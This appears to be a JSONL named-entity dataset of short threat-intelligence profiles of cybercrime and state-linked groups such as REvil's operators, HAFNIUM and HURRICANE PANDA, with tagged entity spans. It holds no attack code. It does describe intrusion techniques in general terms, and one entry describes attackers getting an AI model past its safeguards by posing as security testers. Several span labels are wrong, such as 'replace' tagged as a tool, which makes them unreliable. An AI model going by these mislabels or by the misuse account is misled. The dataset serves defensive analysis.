+{"text": "GOLD SKYLINE is a financially motivated cybercriminal threat group operating from Nigeria engaged in high-value wire fraud facilitated by business email compromise (BEC) and spoofing (BES). Also known as Wire-Wire Group 1 (WWG1), GOLD SKYLINE has been active since at least 2016 and relies heavily on compromised email accounts, social engineering, and increasingly malware to divert inter-organization funds transfers.", "spans": {"THREAT_ACTOR: GOLD SKYLINE": [[0, 12], [230, 242]]}, "info": {"source": "apt_reports", "name": "GOLD SKYLINE"}}
+{"text": "GOLD SOUTHFIELD is a financially motivated cybercriminal threat group that authors and operates the REvil (aka Sodinokibi) ransomware on behalf of various affiliated threat groups. Operational since April 2019, the group obtained the GandCrab source code from GOLD GARDEN, the operators of GandCrab that voluntarily withdrew their ransomware from underground markets in May 2019. GOLD SOUTHFIELD is responsible for authoring REvil and operating the backend infrastructure used by affiliates (also called partners) to create malware builds and to collect ransom payments from victims. CTU researchers assess with high confidence that GOLD SOUTHFIELD is a former GandCrab affiliate and continues to work with other former GandCrab affiliates.", "spans": {"THREAT_ACTOR: GOLD SOUTHFIELD": [[0, 15], [380, 395], [633, 648]], "THREAT_ACTOR: GOLD GARDEN": [[260, 271]], "MALWARE: Sodinokibi": [[111, 121]], "MALWARE: REvil": [[100, 105], [425, 430]]}, "info": {"source": "apt_reports", "name": "GOLD SOUTHFIELD"}}
+{"text": "GOLD SYMPHONY is a financially motivated cybercrime group, likely based in Russia, that is responsible for the development and sale on underground forums of the Buer Loader malware. First discovered around August 2019, Buer Loader is offered as a malware-as-a-service (MasS) and has been advertised by a threat actor using the handle 'memeos'. Customers include GOLD BLACKBURN, the operators of the TrickBot malware. In addition to TrickBot, Buer Loader has been reported to download Cobalt Strike and other tools for use in post-intrusion ransomware attacks.", "spans": {"THREAT_ACTOR: GOLD SYMPHONY": [[0, 13]], "THREAT_ACTOR: Cobalt": [[484, 490]], "TOOL: Cobalt Strike": [[484, 497]], "MALWARE: TrickBot": [[399, 407], [432, 440]], "MALWARE: Buer": [[161, 165], [219, 223], [442, 446]]}, "info": {"source": "apt_reports", "name": "GOLD SYMPHONY"}}
+{"text": "GOLD WATERFALL is a group of financially motivated cybercriminals responsible for the creation, distribution, and operation of the Darkside ransomware. Active since August 2020, GOLD WATERFALL uses a variety of tactics, techniques, and procedures (TTPs) to infiltrate and move laterally within targeted organizations to deploy Darkside ransomware to its most valuable resources. Among these TTPs are using malicious documents delivered by email to establish a foothold and using stolen credentials to access victims' remote access services. In November 2020, the 'darksupp' persona was observed advertising an affiliate program on several semi-exclusive underground forums, marking GOLD WATERFALL's entry into the ransomware-as-a-service (RaaS) landscape.", "spans": {"THREAT_ACTOR: GOLD WATERFALL": [[0, 14], [178, 192], [682, 696]]}, "info": {"source": "apt_reports", "name": "GOLD WATERFALL"}}
+{"text": "GOLD WINTER are a financially motivated group, likely based in Russia, who operate the Hades ransomware. Hades activity was first identified in December 2020 and its lack of presence on underground forums and marketplaces leads CTU researchers to conclude that it is not operated under a ransomware as a service affiliate model. GOLD WINTER do employ name-and-shame tactics, where data is stolen and used as additional leverage over victims, but rather than a single centralized leak site CTU researchers have observed the group using Tor sites customized for each victim that include a Tox chat ID for communication, which also appears to be unique for each victim.", "spans": {"THREAT_ACTOR: GOLD WINTER": [[0, 11], [329, 340]], "TOOL: Tor": [[535, 538]], "MALWARE: Hades": [[87, 92], [105, 110]]}, "info": {"source": "apt_reports", "name": "GOLD WINTER"}}
+{"text": "Gorilla is a threat-actor operating a DoS-as-a-service service controlled on Telegram.", "spans": {"THREAT_ACTOR: Gorilla": [[0, 7]], "SYSTEM: Telegram": [[77, 85]], "VULNERABILITY: DoS": [[38, 41]]}, "info": {"source": "apt_reports", "name": "Gorilla"}}
+{"text": "IBM X-Force Research uncovered a Trojan hybrid spawned from the Nymaim and Gozi ISFB malware. It appears that the operators of Nymaim have recompiled its source code with part of the Gozi ISFB source code, creating a combination that is being actively used in attacks against more than 24 U.S. and Canadian banks, stealing millions of dollars so far. X-Force named this new hybrid GozNym. The new GozNym hybrid takes the best of both the Nymaim and Gozi ISFB malware to create a powerful Trojan. From the Nymaim malware, it leverages the dropper’s stealth and persistence; the Gozi ISFB parts add the banking Trojan’s capabilities to facilitate fraud via infected Internet browsers. The end result is a new banking Trojan in the wild.", "spans": {"THREAT_ACTOR: GozNym": [[381, 387], [397, 403]], "ORGANIZATION: IBM X-Force": [[0, 11]], "ORGANIZATION: X-Force": [[4, 11], [351, 358]], "ORGANIZATION: IBM": [[0, 3]], "MALWARE: Nymaim": [[64, 70], [127, 133], [438, 444], [505, 511]], "MALWARE: ISFB": [[80, 84], [188, 192], [454, 458], [582, 586]], "MALWARE: Gozi": [[75, 79], [183, 187], [449, 453], [577, 581]], "MALWARE: Gozi ISFB": [[75, 84], [183, 192], [449, 458], [577, 586]]}, "info": {"source": "apt_reports", "name": "GozNym"}}
+{"text": "TAG-150, also known as GrayBravo, is a sophisticated threat actor responsible for developing multiple custom malware families, including CastleLoader and CastleRAT, and operates a large-scale, multi-layered infrastructure. The group employs the ClickFix technique to distribute malware through phishing attacks that impersonate legitimate services, leveraging deceptive domains and fake repositories. Insikt Group has identified four distinct activity clusters associated with TAG-150, each targeting different victim profiles and utilizing unique TTPs.", "spans": {"THREAT_ACTOR: GrayBravo": [[23, 32]], "VULNERABILITY: phishing": [[294, 302]], "MALWARE: CastleRAT": [[154, 163]]}, "info": {"source": "apt_reports", "name": "GrayBravo"}}
+{"text": "GrayCharlie is a threat actor that compromises WordPress sites to inject malicious JavaScript, redirecting visitors to NetSupport RAT payloads via fake browser update pages or ClickFix mechanisms. Insikt Group has identified extensive infrastructure linked to GrayCharlie, primarily associated with MivoCloud and HZ Hosting Ltd., including command-and-control servers and staging infrastructure. The group employs two primary attack chains to deliver the NetSupport RAT, utilizing both fake updates and ClickFix techniques. GrayCharlie targets organizations worldwide, with a particular focus on the US, and has shown persistent behavior in its operations since its emergence in 2023.", "spans": {"THREAT_ACTOR: GrayCharlie": [[0, 11], [260, 271], [524, 535]], "TOOL: NetSupport": [[119, 129], [455, 465]], "SYSTEM: WordPress": [[47, 56]]}, "info": {"source": "apt_reports", "name": "GrayCharlie"}}
+{"text": "Grayling activity was first observed in early 2023, when a number of victims were identified with distinctive malicious DLL side-loading activity. Grayling appears to target organisations in Asia, however one unknown organisation in the United States was also targeted. Industries targeted include Biomedical, Government and Information Technology. Grayling use a variety of tools during their attacks, including well known tools such as Cobalt Strike and Havoc and also some others.", "spans": {"THREAT_ACTOR: Grayling": [[0, 8], [147, 155], [349, 357]], "THREAT_ACTOR: Cobalt": [[438, 444]], "TOOL: Cobalt Strike": [[438, 451]], "TOOL: Havoc": [[456, 461]], "VULNERABILITY: DLL side-loading": [[120, 136]]}, "info": {"source": "apt_reports", "name": "Grayling"}}
+{"text": "Gray Sandstorm is an Iran-linked threat actor that has been active since at least 2012. They have targeted defense technology companies, maritime transportation companies, and Persian Gulf ports of entry. Their primary method of attack is password spraying, and they have been observed using tools like o365spray. They have a specific focus on US and Israeli targets and are likely operating in support of Iranian interests.", "spans": {"THREAT_ACTOR: Gray Sandstorm": [[0, 14]], "VULNERABILITY: password spraying": [[239, 256]]}, "info": {"source": "apt_reports", "name": "Gray Sandstorm"}}
+{"text": "GreedyBear is a sophisticated threat actor responsible for over $1 million in cryptocurrency theft through a campaign involving 150 malicious Firefox extensions, nearly 500 malicious executables, and numerous fraudulent websites. They employ techniques such as 'Extension Hollowing' to replace legitimate extensions with malicious versions that capture wallet credentials. The campaign is centralized, with most malicious domains resolving to a single IP address, and it has expanded to target other browsers while utilizing AI-generated code to enhance scalability and evade detection.", "spans": {"THREAT_ACTOR: GreedyBear": [[0, 10]], "TOOL: replace": [[286, 293]], "SYSTEM: Firefox": [[142, 149]]}, "info": {"source": "apt_reports", "name": "GreedyBear"}}
+{"text": "Greenbug was discovered targeting a range of organizations in the Middle East including companies in the aviation, energy, government, investment, and education sectors.", "spans": {"THREAT_ACTOR: Greenbug": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Greenbug"}}
+{"text": "GreenSpot is an APT group believed to operate from Taiwan, active since at least 2007, primarily targeting government, academic, and military entities in China through phishing campaigns. The group frequently targets 163.com, aiming to steal login credentials using deceptive domains, manipulated TLS certificates, and counterfeit interfaces. Their tactics highlight the sophistication of modern credential theft operations, necessitating detection efforts focused on irregular domain registrations and certificate anomalies.", "spans": {"DOMAIN: 163.com": [[217, 224]], "THREAT_ACTOR: GreenSpot": [[0, 9]], "VULNERABILITY: phishing": [[168, 176]], "VULNERABILITY: credential theft": [[396, 412]]}, "info": {"source": "apt_reports", "name": "GreenSpot"}}
+{"text": "GREF is a China-aligned APT group that has been active since at least March 2017. They are known for using custom backdoors, loaders, and ancillary tools in their targeted attacks. Recently, they have been attributed to two active Android campaigns that distribute the BadBazaar malware through malicious apps on official and alternative app stores. GREF has targeted Android users, particularly Uyghurs and other Turkic ethnic minorities outside of China, using trojanized versions of popular messaging apps like Signal and Telegram.", "spans": {"THREAT_ACTOR: GREF": [[0, 4], [350, 354]], "SYSTEM: Telegram": [[525, 533]], "SYSTEM: Signal": [[514, 520]], "SYSTEM: Android": [[231, 238], [368, 375]]}, "info": {"source": "apt_reports", "name": "GREF"}}
+{"text": "ESET research reveals a successor to the infamous BlackEnergy APT group targeting critical infrastructure, quite possibly in preparation for damaging attacks", "spans": {"SYSTEM: ESET": [[0, 4]], "MALWARE: BlackEnergy": [[50, 61]]}, "info": {"source": "apt_reports", "name": "GreyEnergy"}}
+{"text": "GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past.\nSimilar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk’s appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD.\nGrim Spider is reportedly associated with Lunar Spider and Wizard Spider.", "spans": {"THREAT_ACTOR: GRIM SPIDER": [[0, 11], [290, 301], [885, 896]], "THREAT_ACTOR: WIZARD SPIDER": [[244, 257], [328, 341]], "THREAT_ACTOR: Lunar Spider": [[1183, 1195]], "MALWARE: Ryuk": [[72, 76], [505, 509], [602, 606], [644, 648], [864, 868], [917, 921], [982, 986]], "MALWARE: Wizard Spider": [[1200, 1213]], "MALWARE: TrickBot": [[398, 406]], "MALWARE: Samas": [[484, 489]], "MALWARE: BitPaymer": [[494, 503]]}, "info": {"source": "apt_reports", "name": "GRIM SPIDER"}}
+{"text": "Groundbait is a group targeting anti-government separatists in the self-declared Donetsk and Luhansk People’s Republics.", "spans": {"THREAT_ACTOR: Groundbait": [[0, 10]]}, "info": {"source": "apt_reports", "name": "Groundbait"}}
+{"text": "A threat actor using Iranian-language tools, Iranian hosting companies, operating from the Iranian IP space at times was observed targeting the Syrian opposition in an elaborately staged malware operation, Citizen Lab researchers reveal.\nThe operation was first noticed in late 2015, when a member of the Syrian opposition flagged a suspicious email containing a PowerPoint slideshow, which led researchers to a watering hole website with malicious programs, malicious PowerPoint files, and Android malware.\nThe threat actor was targeting Windows and Android devices of well-connected individuals in the Syrian opposition, researchers discovered. They called the actor Group5, because it targets Syrian opposition after regime-linked malware groups, the Syrian Electronic Army, ISIS (also known as the Islamic State or ISIL), and a group linked to Lebanon did the same in the past", "spans": {"THREAT_ACTOR: Group5": [[669, 675]], "SYSTEM: Windows": [[539, 546]], "SYSTEM: Android": [[491, 498], [551, 558]], "ORGANIZATION: Citizen Lab": [[206, 217]], "VULNERABILITY: watering hole": [[412, 425]]}, "info": {"source": "apt_reports", "name": "Group5"}}
+{"text": "GTFire is a threat actor that leverages Google Firebase for hosting phishing pages and Google Translate to disguise malicious URLs, effectively bypassing security filters. The campaign employs a multi-step redirect chain to obscure the final phishing destination and utilizes All-in-1 PHP phishing scripts for rapid deployment and credential harvesting. Credentials are exfiltrated via URL parameters in a standard HTTP GET request, with minimal operational overhead.", "spans": {"THREAT_ACTOR: GTFire": [[0, 6]], "SYSTEM: PHP": [[285, 288]], "ORGANIZATION: Google": [[40, 46], [87, 93]], "VULNERABILITY: phishing": [[68, 76], [242, 250], [289, 297]]}, "info": {"source": "apt_reports", "name": "GTFire"}}
+{"text": "GTG-1002 is a Chinese state-sponsored APT that conducted a large-scale autonomous cyber espionage campaign targeting approximately 30 global organizations across various sectors, focusing on military and energy-related data. The operation utilized AI, specifically Anthropic’s Claude model, for reconnaissance, exploitation, and data exfiltration, significantly reducing human involvement. Attackers employed techniques such as automated task execution and evasion of safety protocols by masquerading as legal security testing. The campaign lasted 18 months and highlighted vulnerabilities in traditional incident response workflows.", "spans": {"THREAT_ACTOR: GTG-1002": [[0, 8]]}, "info": {"source": "apt_reports", "name": "GTG-1002"}}
+{"text": "Guacamaya has conducted multiple hack and leak campaigns against military and police agencies and mining companies across Latin America, which they believe have played a role in the region’s environmental degradation and repression of native populations.", "spans": {"THREAT_ACTOR: Guacamaya": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Guacamaya"}}
+{"text": "Early in 2018, CrowdStrike Intelligence observed GURU SPIDER supporting the distribution of multiple crimeware families through its flagship malware loader, Quant Loader.", "spans": {"THREAT_ACTOR: GURU SPIDER": [[49, 60]], "ORGANIZATION: CrowdStrike": [[15, 26]]}, "info": {"source": "apt_reports", "name": "GURU SPIDER"}}
+{"text": "The many 0-days that had been collected by Hacking Team and which became publicly available during the breach of their organization in 2015, have been used by several APT groups since.\nSince being founded in 2003, the Italian spyware vendor Hacking Team gained notoriety for selling surveillance tools to governments and their agencies across the world.\nThe capabilities of its flagship product, the Remote Control System (RCS), include extracting files from a targeted device, intercepting emails and instant messaging, as well as remotely activating a device’s webcam and microphone. The company has been criticized for selling these capabilities to authoritarian governments – an allegation it has consistently denied.\nWhen the tables turned in July 2015, with Hacking Team itself suffering a damaging hack, the reported use of RCS by oppressive regimes was confirmed. With 400GB of internal data – including the once-secret list of customers, internal communications, and spyware source code – leaked online, Hacking Team was forced to request its customers to suspend all use of RCS, and was left facing an uncertain future.\nFollowing the hack, the security community has been keeping a close eye on the company’s efforts to get back on its feet. The first reports suggesting Hacking Team’s resumed operations came six months later – a new sample of Hacking Team’s Mac spyware was apparently in the wild. A year after the breach, an investment by a company named Tablem Limited brought changes to Hacking Team’s shareholder structure, with Tablem Limited taking 20% of Hacking Team’s shareholding. Tablem Limited is officially based in Cyprus; however, recent news suggests it has ties to Saudi Arabia.", "spans": {"THREAT_ACTOR: Hacking Team": [[43, 55], [241, 253], [764, 776], [1013, 1025], [1281, 1293], [1355, 1367], [1502, 1514], [1574, 1586]]}, "info": {"source": "apt_reports", "name": "Hacking Team"}}
+{"text": "HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures. HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they’ve gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA.In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets’ environments. HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.", "spans": {"THREAT_ACTOR: HAFNIUM": [[0, 7], [322, 329], [453, 460], [690, 697], [829, 836], [1056, 1063]], "TOOL: Covenant": [[607, 615]], "SYSTEM: Office 365": [[861, 871]], "ORGANIZATION: Microsoft": [[228, 237], [806, 815]]}, "info": {"source": "apt_reports", "name": "HAFNIUM"}}
+{"text": "Hagga is believed to have been using Agent Tesla, 2021’s sixth most prevalent malware, to steal sensitive information from his victims since the latter part of 2021.", "spans": {"THREAT_ACTOR: Hagga": [[0, 5]], "MALWARE: Agent Tesla": [[37, 48]]}, "info": {"source": "apt_reports", "name": "Hagga"}}
+{"text": "Handala is a pro-Palestinian hacktivist group that targets Israeli organizations, employing tactics such as phishing, data theft, extortion, and destructive attacks using custom wiper malware. The group utilizes a multi-stage loading process, including a Delphi-coded second-stage loader and an AutoIT injector, to deliver wiper malware that specifically targets Windows and Linux environments. Their phishing campaigns often exploit major events and critical vulnerabilities, masquerading as legitimate organizations to gain initial access. Handala operates a data leak site to publicize stolen data, although claims of successful attacks are sometimes disputed by targeted organizations.", "spans": {"THREAT_ACTOR: Handala": [[0, 7], [542, 549]], "SYSTEM: Windows": [[363, 370]], "SYSTEM: Linux": [[375, 380]], "VULNERABILITY: phishing": [[108, 116], [401, 409]]}, "info": {"source": "apt_reports", "name": "Handala"}}
+{"text": "The Bitter threat group initially started using RAT tools in their campaigns, as the first Bitter versions, for Android released in 2014 were based on the AndroRAT framework. Over time, they switched to a custom version that has been known as BitterRAT ever since.", "spans": {"SYSTEM: Android": [[112, 119]], "MALWARE: AndroRAT": [[155, 163]]}, "info": {"source": "apt_reports", "name": "HAZY TIGER"}}
+{"text": "Head Mare is a hacktivism focussed threat actor group known for targeting Russia and Belarus sectors using a remote access malware called PhantomRAT. They have been observed executing malicious code through specially crafted RAR archives, different from previous attacks exploiting vulnerabilities. The attribution of their campaign to Ukraine is uncertain due to limited visibility inside Russian networks. PhantomCore's use of RAR archives in their attack chain has been previously observed in other threat actor groups like Forest Blizzard.", "spans": {"THREAT_ACTOR: Head Mare": [[0, 9]], "TOOL: RAR": [[225, 228], [429, 432]], "MALWARE: PhantomCore": [[408, 419]]}, "info": {"source": "apt_reports", "name": "Head Mare"}}
+{"text": "Hellhounds is an APT group targeting organizations in Russia, using a modified version of Pupy RAT called Decoy Dog. They gain initial access through vulnerable web services and trusted relationships, with a focus on the public sector and IT companies. The group has been active since at least 2019, maintaining covert presence inside compromised organizations by modifying open-source projects to evade detection. Hellhounds have successfully targeted at least 48 victims, including a telecom operator where they disrupted services.", "spans": {"THREAT_ACTOR: Hellhounds": [[0, 10], [415, 425]], "MALWARE: Pupy": [[90, 94]]}, "info": {"source": "apt_reports", "name": "HellHounds"}}
+{"text": "This threat actor uses spear-phishing techniques to compromise diplomatic targets in Southeast Asia, India, and the United States. It also seems to have targeted the APT 30. Possibly uses the same infrastructure as Mirage", "spans": {"THREAT_ACTOR: Mirage": [[215, 221]], "THREAT_ACTOR: APT 30": [[166, 172]], "VULNERABILITY: spear-phishing": [[23, 37]], "VULNERABILITY: phishing": [[29, 37]]}, "info": {"source": "apt_reports", "name": "Hellsing"}}
+{"text": "This threat actor targets Uighurs—a minority ethnic group located primarily in northwestern China—and devices from Chinese mobile phone manufacturer Xiaomi, for espionage purposes.", "spans": {}, "info": {"source": "apt_reports", "name": "HenBox"}}
+{"text": "Hezb is a group deploying cryptominers when new exploit are available for public facing vulnerabilities. The name is after the miner process they deploy.", "spans": {"THREAT_ACTOR: Hezb": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Hezb"}}
+{"text": "It was observed that a mobile network threat actor designated as ‘HiddenArt’ actively sustains a capacity to remotely access the personal devices of targeted individuals around the world on an ongoing basis. Since detecting this threat actor, periodic reconnaissance activities were observed in at least 7 target mobile networks around the world and given the wide geographic distribution of these targeted mobile operators, it is probable that the threat actor is active on a global scale.", "spans": {"THREAT_ACTOR: HiddenArt": [[66, 75]]}, "info": {"source": "apt_reports", "name": "HiddenArt"}}
+{"text": "The organization often uses important North Korean time nodes such as holidays and North Korea to conduct fishing activities. The bait includes New Year blessings, Lantern blessings, North Korean celebrations, and important news, overseas personnel contact lists and so on. In addition, the attack organization also has the attack capability of the mobile terminal. The targets of the attack also include diplomatic entities related to North Korea (such as embassy officials in various places), government officials, human rights organizations, North Korean residents abroad, and traders. The victim countries currently monitored include China, North Korea, Japan, Nepal, Singapore, Russia, Poland, Switzerland, etc.", "spans": {}, "info": {"source": "apt_reports", "name": "Higaisa"}}
+{"text": "Hikki-Chan has claimed responsibility for multiple significant data breaches, including the theft of data from 390.4 million users of VKontakte, which included sensitive personal information. The actor has also targeted Strong Current Enterprises and disclosed a breach involving the Israeli Ministry of Welfare and Social Affairs, leaking over 457,000 records. Additionally, Hikki-Chan is attributed with a breach of the Florida Office of Financial Regulation, exposing tens of thousands of records across various industries.", "spans": {"THREAT_ACTOR: Hikki-Chan": [[0, 10], [376, 386]]}, "info": {"source": "apt_reports", "name": "HikkI-Chan"}}
+{"text": "Hive0145 is a financially motivated initial access broker that has been active since late 2022, primarily utilizing Strela Stealer malware to target email credentials. The group has evolved its tactics from generic phishing emails to using stolen legitimate emails with real invoice attachments, focusing on victims in Spain, Germany, and Ukraine. Strela Stealer is configured to extract data from Microsoft Outlook and Mozilla Thunderbird, and the group's operations have shown increased complexity and automation. Threat intelligence indicates that Hive0145's campaigns are characterized by credential theft and espionage-driven activities.", "spans": {"SYSTEM: Microsoft Outlook": [[398, 415]], "SYSTEM: Outlook": [[408, 415]], "SYSTEM: Thunderbird": [[428, 439]], "ORGANIZATION: Microsoft": [[398, 407]], "VULNERABILITY: phishing": [[215, 223]], "VULNERABILITY: credential theft": [[593, 609]]}, "info": {"source": "apt_reports", "name": "HIVE-0145"}}
+{"text": "Hive0117 is a financially motivated cybercriminal group that conducts phishing campaigns to deliver the fileless malware DarkWatchman, which is capable of keylogging and collecting system information. The group targets individuals in the energy, finance, transport, and software security sectors across Russia, Kazakhstan, Latvia, and Estonia, often imitating official Russian government communications to induce urgency. Their operations leverage emergent policies related to conscription and utilize a UID string for identification, with malware capable of querying for smartcard readers, indicating a focus on higher security targets. The malware's fileless nature and ability to erase traces of its presence suggest moderate sophistication in their TTPs.", "spans": {"THREAT_ACTOR: Hive0117": [[0, 8]], "VULNERABILITY: keylogging": [[155, 165]], "VULNERABILITY: phishing": [[70, 78]], "MALWARE: DarkWatchman": [[121, 133]]}, "info": {"source": "apt_reports", "name": "Hive0117"}}
+{"text": "Being one of the most active malware distributors, Hive0137 demonstrates a willingness to explore new payloads and technologies such as GenAI. They have quickly moved onto the same level as other high-profile distributors such as TA577, and will likely be responsible for future phishing campaigns, facilitating initial access for ransomware affiliates. Hive0137’s combination of intent, capabilities and relationships with other groups presents a direct threat to organizations all over the world. As threat actors pick up the pace and increasingly adopt AI technologies for malicious purposes, it is important that organizations are aware of the most recent threats and their capabilities to maintain a strong security posture.", "spans": {"THREAT_ACTOR: Hive0137": [[51, 59], [354, 362]], "THREAT_ACTOR: TA577": [[230, 235]], "VULNERABILITY: phishing": [[279, 287]]}, "info": {"source": "apt_reports", "name": "Hive0137"}}
+{"text": "SEQRITE Labs APT-Team has been tracking and has uncovered a campaign targeting the Baltic State Technical University, a well-known institution for various defense, aerospace, and advanced engineering programs that contribute to Russia’s military-industrial complex. Tracked as Operation HollowQuill, the campaign leverages weaponized decoy documents masquerading as official research invitations to infiltrate academic, governmental, and defense-related networks. The threat entity delivers a malicious RAR file which contains a .NET malware dropper, which further drops other Golang based shellcode loader along with legitimate OneDrive application and a decoy-based PDF with a final Cobalt Strike payload.", "spans": {"THREAT_ACTOR: HollowQuill": [[287, 298]], "THREAT_ACTOR: Cobalt": [[685, 691]], "TOOL: RAR": [[503, 506]], "TOOL: Cobalt Strike": [[685, 698]], "SYSTEM: .NET": [[529, 533]]}, "info": {"source": "apt_reports", "name": "HollowQuill"}}
+{"text": "HomeLand Justice is an Iranian state-sponsored cyber threat group that has been active since at least May 2021. They have targeted various organizations, including a well-known telecommunication company and the Albanian Parliament. The group engaged in information operations and messaging campaigns to amplify the impact of their attacks.", "spans": {"THREAT_ACTOR: HomeLand Justice": [[0, 16]]}, "info": {"source": "apt_reports", "name": "HomeLand Justice"}}
+{"text": "McAfee Advanced Threat Research analysts have discovered a new operation targeting humanitarian aid organizations and using North Korean political topics as bait to lure victims into opening malicious Microsoft Word documents. Our analysts have named this Operation Honeybee, based on the names of the malicious documents used in the attacks.\nAdvanced Threat Research analysts have also discovered malicious documents authored by the same actor that indicate a tactical shift. These documents do not contain the typical lures by this actor, instead using Word compatibility messages to entice victims into opening them.\nThe Advanced Threat Research team also observed a heavy concentration of the implant in Vietnam from January 15–17.", "spans": {"THREAT_ACTOR: Honeybee": [[266, 274]], "THREAT_ACTOR: Operation Honeybee": [[256, 274]], "SYSTEM: McAfee": [[0, 6]], "SYSTEM: Microsoft Word": [[201, 215]], "ORGANIZATION: Microsoft": [[201, 210]]}, "info": {"source": "apt_reports", "name": "Honeybee"}}
+{"text": "HookAds is a malvertising campaign that purchases cheap ad space on low quality ad networks commonly used by adult web sites, online games, or blackhat seo sites. These ads will include JavaScript that redirects a visitor through a serious of decoy sites that look like pages filled with native advertisements, online games, or other low quality pages. Under the right circumstances, a visitor will silently load the Fallout exploit kit, which will try and install its malware payload.", "spans": {"THREAT_ACTOR: HookAds": [[0, 7]]}, "info": {"source": "apt_reports", "name": "HookAds"}}
+{"text": "Houken is a Chinese state-sponsored threat actor that exploits zero-day vulnerabilities in Ivanti Cloud Services Appliance devices to gain initial access to critical infrastructure networks, particularly in France. The group employs a sophisticated rootkit alongside open-source tools, primarily developed by Chinese-speaking authors, to maintain persistence and control over compromised systems. Houken is suspected to operate as an initial access broker, selling footholds in targeted networks to other threat actors for further exploitation.", "spans": {"THREAT_ACTOR: Houken": [[0, 6], [397, 403]], "SYSTEM: Ivanti": [[91, 97]], "VULNERABILITY: rootkit": [[249, 256]], "VULNERABILITY: zero-day": [[63, 71]]}, "info": {"source": "apt_reports", "name": "Houken"}}
+{"text": "According to Crowdstrike, HOUND SPIDER affiliates arrested in Romania on December,2017", "spans": {"THREAT_ACTOR: HOUND SPIDER": [[26, 38]]}, "info": {"source": "apt_reports", "name": "HOUND SPIDER"}}
+{"text": "This group created a malware that takes over Android devices and generates $300,000 per month in fraudulent ad revenue.  The group effectively controls an arsenal of over 85 million mobile devices around the world. With the potential to sell access to these devices to the highest bidder", "spans": {"SYSTEM: Android": [[45, 52]]}, "info": {"source": "apt_reports", "name": "HummingBad"}}
+{"text": "Hunt3r Kill3rs is a newly emerged threat group claiming expertise in cyber operations, including ICS breaches and web application vulnerabilities exploitation. They have discussed using Java fuzzing in their exploits and have made unverified claims of joint attacks with other threat actors.", "spans": {"THREAT_ACTOR: Hunt3r Kill3rs": [[0, 14]], "SYSTEM: Java": [[186, 190]]}, "info": {"source": "apt_reports", "name": "Hunt3r Kill3rs"}}
+{"text": "We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone.\nHURRICANE PANDA's preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an ‘eval()’ command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence.\nOnce inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via ‘net use’ and ‘wmic’ commands executed through the webshell terminal.", "spans": {"THREAT_ACTOR: HURRICANE PANDA": [[268, 283]], "TOOL: wmic": [[1098, 1102]], "TOOL: Mimikatz": [[839, 847]], "VULNERABILITY: SQL injection": [[621, 634]], "VULNERABILITY: credential theft": [[809, 825]], "MALWARE: China Chopper": [[346, 359]]}, "info": {"source": "apt_reports", "name": "HURRICANE PANDA"}}
+{"text": "IcePeony is a China-nexus APT group that has been active since at least 2023, targeting government agencies, academic institutions, and political organizations in countries such as India, Mauritius, and Vietnam. They primarily employ SQL injection techniques to exploit vulnerabilities in publicly accessible web servers, subsequently installing web shells or executing malware like IceCache to facilitate credential theft. IcePeony operates under harsh work conditions, potentially adhering to the 996 working hour system, and shows a particular interest in the governments of Indian Ocean countries. Their activities suggest alignment with China's national interests, possibly related to maritime strategy.", "spans": {"THREAT_ACTOR: IcePeony": [[0, 8], [424, 432]], "VULNERABILITY: SQL injection": [[234, 247]], "VULNERABILITY: credential theft": [[406, 422]], "MALWARE: IceCache": [[383, 391]]}, "info": {"source": "apt_reports", "name": "IcePeony"}}
+{"text": "This threat actor uses spear-phishing techniques to target private-sector energy, defense, aerospace, research, and media organizations and embassies in Africa, Europe, and the Middle East, for the purpose of espionage.", "spans": {"VULNERABILITY: spear-phishing": [[23, 37]], "VULNERABILITY: phishing": [[29, 37]]}, "info": {"source": "apt_reports", "name": "Inception Framework"}}
+{"text": "IndigoZebra is a Chinese state-sponsored actor mentioned for the first time by Kaspersky in its APT Trends report Q2 2017, targeting, at the time of its discovery, former Soviet Republics with multiple malware strains including Meterpreter, Poison Ivy, xDown, and a previously unknown backdoor called “xCaon.”", "spans": {"THREAT_ACTOR: IndigoZebra": [[0, 11]], "TOOL: Meterpreter": [[228, 239]], "SYSTEM: Kaspersky": [[79, 88]], "MALWARE: xCaon": [[302, 307]]}, "info": {"source": "apt_reports", "name": "IndigoZebra"}}
